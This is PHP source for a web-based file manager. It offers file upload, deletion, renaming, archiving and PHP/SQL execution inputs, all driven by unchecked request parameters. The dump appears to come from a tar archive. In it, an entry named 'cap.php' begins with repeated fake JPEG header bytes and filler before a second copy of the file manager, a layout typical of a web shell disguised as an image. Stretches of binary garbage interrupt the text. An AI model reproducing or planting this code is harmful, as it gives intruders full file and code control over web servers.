    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
